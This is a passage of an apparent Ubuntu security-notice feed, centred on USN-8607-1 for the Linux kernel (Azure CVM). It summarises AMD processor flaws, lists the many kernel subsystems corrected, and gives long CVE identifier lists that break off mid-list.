CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)

USN-8607-1: Linux kernel (Azure CVM) vulnerabilities

Fri, 24 Jul 2026 14:17:40 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - RNBD block device driver; - Ublk userspace block driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clock framework and drivers; - Clocksource drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPIO subsystem; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - Broadcom VK accelerator driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MOST (Media Oriented Systems Transport) drivers; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Performance monitor drivers; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Power supply drivers; - RapidIO drivers; - RAS (Reliability, Availability, Serviceability) subsystem; - Remote Processor subsystem; - RPMSG subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - MediaTek SoC drivers; - Microchip PolarFire SoC system controller driver; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - ChipIdea USB driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - DesignWare USB3 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - USB over IP driver; - vDPA drivers; - VFIO drivers; - Virtio Host (VHOST) subsystem; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - JFS file system; - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Audit subsystem; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - RCU subsystem; - Scheduler infrastructure; - Cryptographic library; - Scatterlist API; - Heterogeneous memory management; - KASAN memory debugging framework; - 9P file system network protocol; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - KCM (Kernel Connection Multiplexor) sockets driver; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Landlock security; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229, CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269, CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286, CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292, CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304, CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218, CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238, CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244, CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249, CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253, CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, 